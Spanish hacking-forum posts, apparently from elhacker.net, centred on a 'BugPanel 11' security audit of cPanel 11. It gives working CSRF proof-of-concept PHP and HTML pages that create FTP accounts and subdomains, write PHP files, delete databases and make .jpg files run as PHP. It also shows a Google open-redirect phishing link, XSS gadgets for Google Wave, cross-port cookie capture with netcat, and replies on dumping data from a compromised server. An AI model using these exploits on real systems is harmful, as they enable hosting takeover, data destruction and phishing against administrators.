Eso no es error, lo que te está mostrando es el archivo de color rojo, o sea que si hay diferencias, si le haces doble click te mostrará las diferencias.

Si usas windows puedes utilizar el windiff y si usas linux puedes usar el comando diff

http://linux.about.com/library/cmd/blcmdl1_diff.htm


Si exportaste el .sql desde el phpmyadmin puedes abrirlo desde cualquier editor de texto y en las primeras lineas te aparecerá la fecha en el cual fue realizado el archivo y con eso puedes comparar cual es mas reciente.

El php se ejecuta en el servidor y no en el cliente asi que cuando el servidor devuelva la ejecución del php todavía no habrá actuado el MITM, por lo tanto desde php lo veo dificil.

Ahora si alguien te hace MITM no va a necesitar cambiarte la codificación para lanzarte ataques, basta con insertar código ejecutable en el cliente directamente.

[Servidor+PHP] <- [MITM] <- [Mi explorador]
[Servidor+PHP] -> [MITM] -> [Mi explorador]

Gracias, de todas formas si se hará público pero para diciembre
Imagina a alguien que con tan solo poner una imagen como firma en el foro puede causar la creación de usuarios ftp en el servidor o la inserción de mimetypes y hacer ejecutable tu avatar de jpg pero por otro lado como dijiste la gran y fácil solución es lo que hace un buén administrador, desloguearse de su panel de administración cada ves que termina de utilizarse y nunca comenzar a visitar otras páginas mientras se está administrando o por lo menos no con el mismo explorador o sesión.

aunque de todas formas siempre hay gente que deja logueada la cuenta y no se dan cuenta y ahi está en juego la seguridad del cpanel ya que por defecto no trae ningún tipo de seguridad ante este tipo de ataques. Solo una ves repararon un bug de CSRF haciendo una pagina que verifica si realmente quieres hacer una acción pero si le das aceptar la ejecución de la acción se ejecuta igual por lo tanto no se previno el CSRF.

Hay otros sistemas disfrasados de cpanel pero con otro skin y otro nombre como por ejemplo el famoso e incomodo dpanel utilizado en muchos hostings de chile.
Sigue siendo igual de inseguro pero mas incómodo 

El WHM no lo he revisado pero si lo hacen los mismos codeadores de cpanel debe tener practicamente los mismos bugs.

Y lo mejor o peor de todo es que como es un software de código cerrado no puedes hacer ningún tipo de edición en el código para poder solucionar el problema antes de que cpanel le den las ganas de reparar los bugs y si es que los reparan todos.

Yo en mi reseller tengo WHM instalado asi que le daré un vistazo con bastante delicadeza xD

Recuerda que tienes permisos de escritura en el directorio temporal del servidor y si el administrador es descuidado también podrás ejecutar.

Si es un sitio web basado en sesiones puedes iniciar sesion con php (session_start phpsessid) y te modificas la cookie para drte privilegios y esas cosas.

Si tienes solo derechos de lectura no podrás encontrar el acceso al servidor ftp o ssh observando el directorio de configuraciones del servidor porque generalmente esos directorios tienen derechos de lectura solo por el usuario root y el apache corre con nobody o www-data asi que de esa forma no podrás a menos que lo encuentres en algun archivo de respaldos o algo por el estilo.

Ya que tienes derechos de lectura observa si tiene alguna conexión hacia la base de datos y con eso te puedes conectar con la opción de conexión mysql y hacerle un respaldo de todo, incluyendo archivos utilizando el comando tar guardandolo en el directorio temporal y despues te lo bajas, si es demasiado grande lo cortas en trocitos ya que no puedes escribir en el directorio publico de la web.
También puedes ver en algunos directorios de subida de archivos, por lo general esos directorios tienen permisos de escritura y en algunas ocasiones también de sobreescritura.

---

Indice

• Auditoría de seguridad a cPanel 11
• vulnerabilidad universal en exploradores WEB
• Vulnerabilidad - OpenRedirect en Google utilizado para ocultar urls de atacantes
• Vulnerabilidad - XSS en GModules afecta a GoogleWave, OpenSocial (hi5, linkedin, myspace), Google HomePage, sites.google.com, wiki.elhacker.net, labs.elhacker.net, groups.google.com, y cualquier sitio web que utilize los servicios de google en el cual incorporen GModules.

---

Descripción:
cPanel (acrónimo de control Panel) es una herramienta de administración WEB administrar sitios de manera fácil. Actualmente es un sistema de pago y de código cerrado vulnerable a que cualquiera pueda encontrar bugs sin si quiera poder revisar su código fuente para que puedan ser reparadas oportunamente.
cPanel es uno de los sistemas mas utilizados en servidores de pago compartidos y resellers.
http://cpanel.demo.cpanel.net/login/?user=x3demob&pass=x3demob

Al ver que era un sistema tan utilizado pero a la ves tan descuidado en su seguridad me propuse comenzar esta auditoría de seguridad hacia cPanel 11 llamada "BugPanel 11".

[Round 1] Creación arbitraria de subdominios
Si vamos a nuestro cpanel e intentamos crear un nuevo subdominio podemos ver dos detalles.
El primer detalle es que podemos transformar nuestras peticiones POST en GET asi que basta pasar las variables via GET para crear nuestro subdominio.

Vamos a nuestro cPanel a la sección:
http://ejemplo.com:2082/frontend/x3/subdomain/index.html

Ahora si creamos un subdominiop nos enviará hacia una página para verificar que realmente se creará el subdominio y al hacer click en aceptar veremos que se ha creado nuestro subdominio pero entre que le das aceptar y crear el dominio aparece un enlace como este:
http://ejemplo.com:2082/frontend/x3/subdomain/doadddomain.html?domain=subdominio&rootdomain=ejemplo.com&dir=public_html%2Fsubdominio&go=Create

Con este enlace ya podemos darnos cuenta del segundo detalle el cual es que no lleva token ni verificación de referencia (aunque no serviría tampoco) ni nada que pueda evitar un ataque del tipo CSRF.

Por lo tanto un atacante puede facilmente crear un enlace, imagen o lo que sea lo cual el administrador de ese panel pueda ser redireccionado hacia dicha vulnerabilidad y crear de forma arbitraria subdominios y directorios tal como este script de ejemplo:

<?php
/* Host vulnerable */
$dominio_vulnerable = 'ejemplo.com';
$cpanel_vulnerable = 'http://ejemplo.com:2082/';
$directorio_nuevo = 'cpwned';
$subdominio_nuevo = 'cpwned';
if($_SERVER['HTTP_REFERER']){
 
 header(
  'location: '.
  $cpanel_vulnerable.
  'frontend/x3/subdomain/doadddomain.html?domain='.
  urlencode($subdominio_nuevo).
  '&rootdomain='.
  urlencode($dominio_vulnerable).
  '&dir=public_html%2F'.
  urlencode($directorio_nuevo).
  '&go=Create'
 );
}else{
 echo '<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
}
 
?>

[Round 2] Creación arbitraria de archivos y código de ejecución arbitrario via PHP
Si vamos al administrador de archivos del cpanel encontraremos un hermoso filemanager en el cual nos permire observar todos los archivos del servidor, editar su contenido, borrarlos  o cambiarles sus permisos.
Cuando va mos a la edición de un archivo y lo guardamos podremos darnos cuenta de que no envía token ni nada por lo tanto nuevamente nos damos cuenta que el filemanager contiene CSRF en modo POST.

Con estos datos ya podemos crear nuestra prueba de concepto:

<?php
 
/* Datos del host vulnerable */
$cpanel_vulnerable = 'http://ejemplo.com:2082/';
$archivo = 'cpwned.php';
$directorio = '/home/ejemplo/public_html/';
$payload = '<'.'?php phpinfo(); ?>';
 
?>
<html>
 <body>
  Muestra de ejemplo.
  <form method="post" action="<?php echo $cpanel_vulnerable; ?>frontend/x3/filemanager/savefile.html">
   <input type="hidden" name="doubledecode" value="1" />
   <input type="hidden" name="ufile" value="<?php echo $archivo; ?>" />
   <input type="hidden" name="file" value="<?php echo $archivo; ?>" />
   <input type="hidden" name="udir" value="<?php echo urldecode($directorio); ?>" />
   <input type="hidden" name="dir" value="<?php echo urlencode($directorio); ?>" />
   <input type="hidden" name="__cpanel__temp__charset__" value="us-ascii" />
   <input type="hidden" name="path" value="<?php echo urldecode($directorio).$archivo; ?>" />
   <input type="hidden" name="charset" value="us-ascii" />
   <input type="hidden" name="page" value="<?php echo urlencode($payload); ?>" />
  </form>
  <script>
   document.getElementsByTagName('form')[0].submit();
  </script>
 </body>
</html>

[Round 3] Eliminación arbitraria de bases de datos completas
Cuando vamos al gestor de bases de datos de MySQL:
http://www.ejemplo.com:2082/frontend/x3/sql/index.html

Podemos observar que al intentar eliminar una base de datos nos envía hacia una página que nos pregunta si realmente queremos eliminar nuestra base de datos, la sorpresa llega cuando vemos que el botón de aceptar nos lleva a un enlace sin protección ni token ni nada:
http://www.ejemplo.com:2082/frontend/x3/sql/deldb.html?db=ejemplo_basededatos

Llevandonos a la eliminación inminetne e irrecuperable de nuestra base de datos a menos que tengamos alguna backup por ahi.

Con esto ya podemos crear una prueba de cocepto donde un administrador puede ser redirigido desde alguna imagen, página, o lo que sea ejecutando esta acción de forma arbitraria:

<?php
/* Host vulnerable */
$cpanel_vulnerable = 'http://ejemplo.com:2082/';
$base_de_datos = 'empresa_productos';
 
if($_SERVER['HTTP_REFERER']){
 header(
  'location: '.
  $cpanel_vulnerable.
  'frontend/x3/sql/deldb.html?db='.
  urlencode($base_de_datos)
 );
}else{
 echo '<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
}
 
?>

[Round 4] Creación arbitraria de cuentas FTP sin restricciones
Si vamos al gestor de cuentas FTP e intentamos crear una nueva cuenta sin restricciones podemos ver que pasa lo siguiente desde nuestro cliente de navegación hasta el servidor:

Por lo tanto ya es evidente que no hay token y por lo tango podemos generar un CSRF pero si tomamos nuestras variables POST y las convertimos a GET vemos que funciona igual:
http://www.ejemplo.com:2082/frontend/x3/ftp/doaddftp.html?login=cpwned&password=cpwned&password2=cpwned&homedir=public_html%2F&quota=unlimited

Asi que con estos datos ya estamos listos para hacer la prueba de concepto:

<?php
/* Host vulnerable */
$cpanel_vulnerable = 'http://ejemplo.com:2082/';
 
if($_SERVER['HTTP_REFERER']){
 
 header(
  'location: '.
  $cpanel_vulnerable.
  'frontend/x3/ftp/doaddftp.html?login=cpwned&password=cpwned&'.
  'password2=cpwned&homedir=public_html%2F&quota=unlimited'.
  urlencode($base_de_datos)
 );
}else{
 echo '<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
}
 
/* Se creará una cuenta ftp con el usuario cpwned y password cpwned ilimitada */
 
?>

[Round 5] Modificación arbitraria de Mimetypes de Apache Server
Maaaaammmboo!! huuuh!!!
Cuando vamos a modificar un tipo de contenido desde el gestor de mimetypes de cPanel:
http://www.ejemplo.com:2082/frontend/x3/mime/mime.html

Podemos ver que cuando agregamos un tipo de extensión no nos solicita ningún tipo de protección para evitar acciones arbitrarias y ni si quiera pasa via POST sino que lo hace via GET directamente.

Cuando creamos una nueva extensión vemos algo como esto:
http://www.ejemplo.com:2082/frontend/x3/mime/addmime.html?mimet=application%2Fandrew-inset&ext=lol&submit=Add

Por lo tanto basta con que el administrador del cpanel vea este enlace para agregarle mimetypes a su servidor.
Que tal un mimetype de tipo ocet/stream a php para descargarlos en ves de ejecutarlos? o archivos jpg y zips que se ejecutan con el handle de php?

Prueba de concepto:

<?php
/* Host vulnerable */
$cpanel_vulnerable = 'http://ejemplo.com:2082/';
$mimetype = 'application/x-httpd-php';
$extension = 'jpg';
 
if($_SERVER['HTTP_REFERER']){
 
 header(
  'location: '.
  $cpanel_vulnerable.
  'frontend/x3/mime/addmime.html?mimet='.
  urlencode($mimetype).
  '&ext='.
  urlencode($extension).
  '&submit=Add'
 );
}else{
 echo '<html><img src="http://i48.tinypic.com/1949he.jpg" /></html>';
}
 
/* Ahora los archivos .jpg son ejecutables de php :D */
 
?>

[Round 6] Baneo arbitrario de visitantes al host
Cuando intentas ingresar a tu cpanel desde la pagina principal:
http://www.ejemplo.com:2082/

Y fallas mas de 10 veces te banea y lo gracioso es que no te banea de cPanel sino de todo el servidor por lo tanto no puedes ingresar ni a la página que está alojada ni al ssh ni a ninguna parte a menos que cambies de ip.

Acá hay dos problemas, el rpimero es que la autentificación también se hace via WWW-Authenticate de apache o sea envío de headers.
cPanel procesa ete tipo de login pero no verifica los 10 intentos asi que podemos enviar peticiones GET a una imagen o a alguna sección sin protección enviando contraseña tras contraseña hasta lograr ingresar.

El otro problema es que el sistema de baneo aparentemente solo sirve para banear a tus visitas xD ya que el login del formulario se envía mediante una petición POST al servidor pero si la transformas a GET puedes hacer logueos arbitrarios debido a que no hay token ni nada referencial que impida un ataque CSRF, asi que la url de login quedaría masomenos así:
http://ejemplo.com:2082/login/?user=d&pass=d

Basta que alguien vea 10 veces ese enlace para quedar fuera de combate, asi que esto mismo se puede aprovechar por ejemplo para ponertelo de firma redireccionando la url como si fuera una imagen y de esa forma baneas a todos los que vean tus post en un foro.

Prueba de concepto para código bbc:

Si usas tinyurl te ahorras carácteres y puedes ir mostrando de a 5 en 5 para banear cada dos visualizaciones o cada dos post tuyos que vean.

Actualmente hay muchos foros con cpanel al descubierto :p


Y bueno... en resumidas palabras todo cPanel contiene CSRF por lo tanto se puede ejecutar cualquier tipo de acción arbitraria siempre y cuando pertenezca al software nativo de cPanel, no así con softwares de terceros como phpmyadmin.
Además gracias a que cPanel es un software de código errado nadie puede hacer parches o soluciones asi que por lo tanto no hay solución mas que sentarse a mirar a las aves volar mientras tanto que medio internet es vulnerable y no todos los hosting se van a querer actualizar a menos que den con bombo y platillos el anuncio oficial desde cpanel diciendo que es vulnerable.

Recordar que para que estos tipos de ataques puedan ejecutarse el administrador debe estar logueado y visualizar tu archivo que lo redireccionará.

¿Que sucede si la conexión va via ssl? ¿lo detendrá la verificación de certificado?
No porque gracias a cPanel las instalaciones por defecto siempre se hacen en dos puertos que son el 2082 y 2083 el cual uno es sin y con ssl respectivamente asi que no sirve de nada el certificado de seguridad si eres atacado de esta forma, pero.... si estoy logueado en mi cpanel con ssl no debería cambiar mi cookie?
La respuesta es no ya que cPanel no fuerza una cookie segura al explorador por lo tanto tu cookie de cpanel la llevas a todas partes del servidor independiente si estas en el cpanel con o sin ssl o en tu foro o en tu blog, web, portal o lo que sea y con tu cookie llevas también tu sesión lista para ser robada, capturada o sniffeada.

Y ustedes dirán "Oh My God!!" debido a que deben ya haberse dado cuenta de un bug por defecto en los exploradores que ya voy a comentar a continuación.

---

Para poder comprobar antes de explicar lo que sucede voy a ingresar a mi gestor de bases de datos phpmyadmin:
http://127.0.0.1/phpmyadmin/
Ahora voy a mi administrador de servidor WebAdmin
http://127.0.0.1/:10000
Ahora me voy al foro:
http://127.0.0.1/smf/
Al blog
http://127.0.0.1/wordpress/

Ahora ejecuto en mi consola:

yan@Lola:~/Escritorio$ sudo nc -vlp 99
[sudo] password for yan: 
listening on [any] 99 ...

Me hago una petición GET
http://127.0.0.1:99/

Y me encuentro con la sorpresa:

Si nos damos cuenta me ha enviado la cookie de todos los siostemas webs que he visitado sin importar el puerto en que estaban.
Normalmente si un sistema WEB está en un puerto determinado debería conservar su privacidad de cookie y no compartirla con todos los demás sistemas alojados en los demas puertos.
En mi caso me puse a escucha en el puerto 99 y pude recibir todas las cookies pero... ¿que tan peligroso puede ser?

¿Que sucede cuando ingresamos al cPanel y luego vamos a nuestro foro o blog?
Lo que pasa es que la cookie del cPanel se va con nosotros :p y si la web o foro es vulnerable y alguien te ataca con XSS puede robar la cookie de tu cPanel y robar tu dominio o tu hosting completo, hacer redirecciones o transferir cuentas.

Lo que estamos haciendo es violar la privacidad de contenido del sistema WEB debido a que ningún explorador manipula las cookies discriminando puertos sino que solamente discrimina dominios , subdominios y rutas al tratarse del mismo servidor pero no puertos.

---

[Round 1] OpenRedirect
Primero que nada vamos a ir directamente a la prueba de concepto:
http://www.google.com/url?q=http:///foro.elhacker.net/

Gracias a esta novedosa feature de google un atacante puede utilizar urls de google como servidor de redirección para ocultar referencias, ocultar enlaces dañinos y un sin fin de cosas.

El problema de esta vulnerabilidad está en que si ingresas una url normal de esta forma:
http://www.google.com/url?q=http://foro.elhacker.net/
entonces google te la rechaza pero si le das tres slashses google no la detecta como enlace válido y te valida la redirección.



Vamos a realizar una simulación de ataque hacia nuestro cpanel desde una url de google.

El atacante envía un enlace como mensaje de correo de google diciendo lo siguiente:
http://www.google.com/url?a=necesitamos_de_su_colaboracion_para_entrar_en_nuestro_comite&codigo_mensaje=&q=%68%74%74%70%3a%2f%2f%2f%77%77%77%2e%61%74%61%63%61%64%6f%2e%63%6f%6d%3a%32%30%38%32%2f%66%72%6f%6e%74%65%6e%64%2f%78%33%2f%73%71%6c%2f%64%65%6c%64%62%2e%68%74%6d%6c%3f%64%62%3d%65%6a%65%6d%70%6c%6f%5f%62%61%73%65%64%65%64%61%74%6f%73

Y el desprevenido administrador al darle click va a terminar borrando su base de datos de su sitio web  

También puede ser utilizado por spammers debido a que las urls de google no son filtradas desde sistemas anti-spam y la url puede encodearse en urlencode

[Round 3] XSS en GModules afecta a GoogleWave
Hace tiempo habia visto que había la posibilidad de ejecutar código arbitrario en los módulos de gmodules de google pero hasta ese momento no había ningún servicio que pudiera comprometer una cuenta.
Al ingresar a GoogleWave pude ver que tienes la posibilidad de insertar módulos de gmodule dentro de waves y puedes enviarlos a amigos o contactos asi que probé enviar un módulo que pudiera ejecutar código arbitrario y resultó.

¿Como funciona?
http://www.google.com/ig
Esta es la web personalizada de google en el cual aparecen varios frames con funciones ya sean buscadores de wikipedia o relojes, calculadoras, etc. La gracia es que puedes crear tus propios módulos y agregarlos de forma arbitraria con un CSRF que tiene gmodules pero eso es otro tema xD.

Para crear nuestro propio módulo debemos hacerlo en formato XML de la siguiente forma:

<?xml version="1.0" encoding="UTF-8"?>
<Module>
 <ModulePrefs
  title="__MSG_poctitle__"
  directory_title="__MSG_pocdirtitle__"
  title_url="http://foro.elhacker.net/"
  author="WHK"
  author_affiliation="ElHacker.NET"
  author_location="Chile, CL"
  author_email="www.kernel32@gmail.com"
  screenshot="http://t1.gstatic.com/images?q=tbn:SMbRdMFu6ZuwRM:http://populachero.files.wordpress.com/2008/12/gato_navidad.jpg"
  thumbnail="http://t1.gstatic.com/images?q=tbn:SMbRdMFu6ZuwRM:http://populachero.files.wordpress.com/2008/12/gato_navidad.jpg"
  scrolling="false">
 </ModulePrefs>
 
 <Content type="html" view="canvas"><![CDATA[
  <script>
   alert('Ejecucion de codigo');
  </script>
 ]]></Content>
</Module>

Con esto ya tenemos un módulo, ahora lo subo a un servidor propio (en mi caso utilizo un servidor local) y quedaría así:
http://miip/gadget.xml

Con esto ya tengo mi módulo listo, ahora entro a GoogleWave y hago un nuevo Wave:


Tal como se muestra en la imagen primero escribo lo que sea, luego lo selecciono y presiono los tres puntos que están al costado derecho y le doy en insertar módulo y le doy la url de mi gadget.

Ahora todo el que vea ese wave se le ejecutará mi código arbitrario pero como se encuentra dentro de un iframe no podemos tener acceso a la cookie pero si a algunos tokens y tienes la posibilidad de hacer redirecciones, mover la ventana y lo que se te ocurra.



Un ejemplo práctico es este módulo:

<?xml version="1.0" encoding="UTF-8"?>
<Module>
 <ModulePrefs
  title="__MSG_poctitle__"
  directory_title="__MSG_pocdirtitle__"
  title_url="http://foro.elhacker.net/"
  author="WHK"
  author_affiliation="ElHacker.NET"
  author_location="Chile, CL"
  author_email="www.kernel32@gmail.com"
  screenshot="http://t1.gstatic.com/images?q=tbn:SMbRdMFu6ZuwRM:http://populachero.files.wordpress.com/2008/12/gato_navidad.jpg"
  thumbnail="http://t1.gstatic.com/images?q=tbn:SMbRdMFu6ZuwRM:http://populachero.files.wordpress.com/2008/12/gato_navidad.jpg"
  scrolling="false">
 </ModulePrefs>
 
 <Content type="html" view="canvas"><![CDATA[
  <script>
   top.location.href = 'http://foro.elhacker.net/';
  </script>
 ]]></Content>
 
</Module>

Con esto un atacante podría redireccionar a una victima hacia un phishing o web fraudulenta y solicitar datos como el acceso de su cuenta.

También hay una referencia similar que acabo de ver xD que habla sobre este mismo tema sobre GModules:
http://ha.ckers.org/blog/20070817/xss-hole-in-google-apps-is-expected-behavior/

Y acá un poco de documentación al respecto de este tipo de ataques:
http://www.google.com/search?q=tactical+exploitation

Actualmente Google concuerda que esto es una feature o sea algo que debe estar así y así lo dicta también el standard de protección el cual permite este tipo de redireccionamientos.
También se puede aplicar este tipo de ataque a cualquier sitio WEB que utilize algún servicio de google que permita GModules o que por lo menos permita frames con código modificable por terceros en los cuales se permita código ejecutable por el cliente.

Los xss y el robo de cookies son un standard hoy en dia y están dentro del saco de las features de la internerd.

usas no-script?

si, para eso existe lo que se llama path disclosure
http://foro.elhacker.net/nivel_web/diccionario_informatico_sobre_bugs_y_exploits_en_nivel_web_v10-t264007.0.html
lo scas tratando de forzar algún error o algo que te pueda servir.

si usas firefox ve desactivando los agregados uno por uno hasta que ya no te de mas problemas y con eso puedes ver cual es el complemento que te está dando problemas.
Por lo general lo mas estable de firefox son las visualizaciones flash ya que el plugin oficial es muy inestable, solo lo hacen funcionar bien para ie.

Actualizaste algún complemento recientemente?

Recuerda que tambien hay plugines que se instalan solos sin permisos y dan muchos problemas como por ejemplo el plugin de microsoft .net, googleupdate, java update y una montonera de porquerías.

Yo lo veo super bien